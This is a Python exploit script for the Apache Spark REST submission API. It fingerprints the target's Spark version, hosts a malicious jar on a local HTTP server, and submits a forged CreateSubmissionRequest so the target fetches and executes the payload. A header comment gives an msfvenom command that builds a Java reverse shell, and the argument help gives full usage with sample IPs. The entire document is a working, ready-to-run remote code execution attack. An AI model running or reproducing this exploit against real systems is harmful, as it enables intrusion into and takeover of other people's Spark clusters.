#!/usr/bin/python3 ################################################################################################# # Generate payload with msfvenom eg. # msfvenom -p java/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4444 -f jar -o exploit.jar ################################################################################################# # How the exploit works. # 1. HTTP GET target:6066 # 2. Extract serverSparkVersion from JSON response # 3. Start HTTP server on 8080 # 4. Send CreateSubmissionRequest JSON data, providing URL/port of target server to DL payload from self HTTP server # 5. Apache Spark will HTTP GET the specified srvhost:srvport. Reply with payload. import requests import json from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse from threading import Thread import sys import random import string import argparse def randomString(length): return (''.join(random.choice(string.ascii_letters) for m in range(length))) def get_version(URL): version = None res = requests.get(URL) if res.status_code == 401: print(URL + " - Authentication required.") return False if res.status_code != 400: return False try: res_json = json.loads(res.text) version = res_json['serverSparkVersion'] except: # Catches all JSON method exceptions print(URL + " - Cannot parse the response, seems like it's not Spark REST API.") return False return version # Run payload server. def run_server(server,duration): server.timeout = duration server.handle_request() server.server_close() def main(httpdelay,rhost,rport,srvhost,srvport,uripath,payload): # This code serves whoever requests it the payload below, after waiting for httpdelay seconds class PayloadServer(BaseHTTPRequestHandler): # Read payload from file f = open(payload,'rb') jar_payload = f.read() # Set custom HTTP version http_version = 'HTTP/1.1' #Overwrites "Server: xxx" in HTTP reply. def version_string(self): return "Apache" #Silences http.server console logging, by overriding native methods. def log_message(self,format,*args): pass def do_GET(self): self.protocol_version = self.http_version # Basically respond only if supplied path in GET matches uripath path = self.path if uripath in path: print("Sending the payload to the server...") self.send_response(200) self.send_header("Content-Type","text/html") self.send_header("Connection", "Keep-Alive") self.send_header("Content-Length",len(self.jar_payload)) self.end_headers() self.wfile.write(self.jar_payload) URL = 'http://' + rhost + ':' + str(rport) version = get_version(URL) if version == False or version == None: print("Something went horribly wrong and we couldn't continue to exploit.") return 1 rand_appname = randomString(8 + random.randrange(8)) server = HTTPServer((srvhost,srvport),PayloadServer) # Payload webserver runs in background. bg_server = Thread(target=run_server,args=(server,float(httpdelay))) bg_server.start() print("Started Web server...") # HTTP POSTing this CreateSubmissionRequest makes the target request and run the payload. data = { "action":"CreateSubmissionRequest", "clientSparkVersion":version, "appArgs":[], "appResource":"http://" + srvhost + ":" + str(srvport) + '/' + uripath, "environmentVariables":{"SPARK_ENV_LOADED":"1"}, "mainClass":"metasploit.Payload", "sparkProperties": { "spark.jars":"http://" + srvhost + ":" + str(srvport) + '/' + uripath, "spark.driver.supervise":"false", "spark.app.name":rand_appname, "spark.eventLog.enabled":"true", "spark.submit.deployMode":"cluster", "spark.master":"spark://" + urlparse(URL).netloc } } hdrs = { 'Content-Type': 'application/json;charset=UTF-8', 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' } res = requests.post(URL + '/v1/submissions/create',json=data,headers=hdrs) return 0 if __name__ == '__main__': parser = argparse.ArgumentParser(description="Call the exploit like this: \n ./exploit.py -httpdelay 10 -rhost 192.168.92.153 -rport 6066 -srvhost 192.168.92.134 -srvport 8080 -uripath path -payload exploit.jar", formatter_class=argparse.RawTextHelpFormatter) parser._action_groups.pop() required = parser.add_argument_group('Required arguments') optional = parser.add_argument_group('Optional arguments') optional.add_argument('-httpdelay',default=10,help='Number of seconds the web server will wait before termination. Default: 10s') required.add_argument('-rhost',help='Target host running Apache Spark eg. 192.168.92.153',required=True) optional.add_argument('-rport',default=6066,help='Target port running Apache Spark. Default: 6066') required.add_argument('-srvhost',help='The local host to listen on. This must be an address on the local machine that Apache Spark can reach eg 192.168.92.134',required=True) optional.add_argument('-srvport',default=8080,help='The local port to listen on. Default: 8080') optional.add_argument('-uripath',default='path',help='The URI path for Webserver to serve for this exploit Default: path as in eg. http://192.168.92.134/path') required.add_argument('-payload',help='Path to the malicious jar. eg dir/exploit.jar',required=True) args = parser.parse_args() sys.exit(main(args.httpdelay,args.rhost,args.rport,args.srvhost,args.srvport,args.uripath,args.payload))